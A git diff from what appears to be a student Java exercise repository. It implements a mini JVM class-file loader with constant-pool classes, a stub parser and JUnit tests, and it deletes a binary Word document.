+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/UTF8Info.java b/group04/349184132/Study/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9c9fac2839
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.loader;
+
+public class ByteCodeIterator {
+
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
index 117e999ba4..33185d8175 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -1,92 +1,140 @@
 package com.coderising.jvm.loader;
 
-/**
- * Created by wang on 2017/3/27.
- */
-
-import java.io.*;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
 
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
 
-
-public class ClassFileLoader {
-
-    private List<String> clzPaths = new ArrayList<String>();
-    private static final int BUFFER_LENGTH = 1024;
-    public byte[] readBinaryCode(String className) {
-
-        File clzFile = new File(getClzPath(className));
-        FileInputStream fis = null;
-        ByteArrayOutputStream bos = null;
-        try {
-            fis = new FileInputStream(clzFile);
-            bos = new ByteArrayOutputStream();
-            int len = 0;
-            byte[] buf = new byte[BUFFER_LENGTH];
-            while(-1 !=(len = fis.read(buf))){
-                bos.write(buf,0,len);
-            }
-            bos.flush();
-            return bos.toByteArray();
-        } catch (FileNotFoundException e) {
-            e.printStackTrace();
-        } catch (IOException e) {
-            e.printStackTrace();
-        }finally {
-            if(bos!=null){
-                try {
-                    bos.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }if(fis!=null){
-                try {
-                    fis.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-        return null;
-
-
-    }
-
-    private String getClzPath(String className) {
-        String clzPath = this.getClassPath() +
-                className.replace(".","\\") +
-                ".class";
-        return clzPath;
-    }
+import com.coderising.jvm.clz.ClassFile;
 
 
 
 
-    public void addClassPath(String path) {
-        if(path==null){
-            throw new IllegalArgumentException();
-        }
-        clzPaths.add(path);
-    }
-
-
-
-    public String getClassPath(){
-        StringBuilder sb = new StringBuilder();
-        for(int i=0; i<clzPaths.size(); i++ ){
-            sb.append(clzPaths.get(i));
-            if(i<clzPaths.size()-1){
-                sb.append(";");
-            }
-        }
-
-        return sb.toString();
-
-    }
-
-
 
+public class ClassFileLoader {
 
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
 
 }
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..8e29f14a0c
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 4f6277b757..26407abbef 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,124 +1,202 @@
 package com.coderising.jvm.test;
 
-/**
- * Created by wang on 2017/3/27.
- */
-
 import org.junit.After;
-import org.junit.Assert;
+import  org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-public class ClassFileloaderTest {
-
-
-    static String path1 = "E:\\2017\\coding2017\\group04\\349184132\\Study\\out\\";
-    static String path2 = "E:\temp";
-
-
-
-    @Before
-    public void setUp() throws Exception {
-    }
 
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testClassPath(){
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-
-        String clzPath = loader.getClassPath();
-
-        Assert.assertEquals(path1+";"+path2,clzPath);
-
-    }
-
-    @Test
-    public void testClassFileLength() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
 
-        String className = "com.coderising.jvm.test.EmployeeV1";
 
-        byte[] byteCodes = loader.readBinaryCode(className);
 
-        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-        Assert.assertEquals(1056, byteCodes.length);
 
-    }
 
+public class ClassFileloaderTest {
 
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
     @Test
-    public void testMagicNumber(){
-        ClassFileLoader loader;
-        loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "com.coderising.jvm.test.EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-
-
-        String actualValue = this.byteToHexString(codes);
-
-        Assert.assertEquals("cafebabe", actualValue);
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
     }
+    
     @Test
-    public void testPrint(){
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-
-        String className = "com.coderising.jvm.test.EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        int i = 1;
-        for (Byte b: byteCodes) {
-            System.out.print(b.toString()+" ");
-            if(i%16==0){
-                System.out.println();
-            }
-            i++;
-
-        }
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
     }
-
     @Test
-    public void testPrintHex(){
-        ClassFileLoader loader;
-        loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "com.coderising.jvm.test.EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-
-
-        String actualValue = this.byteToHexString(byteCodes);
-        System.out.println(actualValue);
-
-    }
-
-
-
-
-
-
-    private String byteToHexString(byte[] codes ){
-        StringBuffer buffer = new StringBuffer();
-        for(int i=0;i<codes.length;i++){
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if(strHex.length()< 2){
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    
+   
 
-}
\ No newline at end of file
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java b/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
index 9778b07684..12e3d7efdd 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,31 +1,28 @@
 package com.coderising.jvm.test;
 
-/**
- * Created by wang on 2017/3/27.
- */
 public class EmployeeV1 {
-
-
-    private String name;
+	
+	
+	private String name;
     private int age;
-
+    
     public EmployeeV1(String name, int age) {
         this.name = name;
-        this.age = age;
-    }
+        this.age = age;        
+    }    
 
     public void setName(String name) {
         this.name = name;
     }
     public void setAge(int age){
-        this.age = age;
+    	this.age = age;
     }
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
     }
     public static void main(String[] args){
-        EmployeeV1 p = new EmployeeV1("Andy",29);
-        p.sayHello();
-
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
     }
 }
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/util/Util.java b/group04/349184132/Study/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git "a/group04/349184132/post/CPU\345\206\205\345\255\230\347\241\254\347\233\230\346\214\207\344\273\244.docx" "b/group04/349184132/post/CPU\345\206\205\345\255\230\347\241\254\347\233\230\346\214\207\344\273\244.docx"
deleted file mode 100644
index 72f97352ac6772fc4dfa42578b3bdf2bcab88e86..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 11099
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
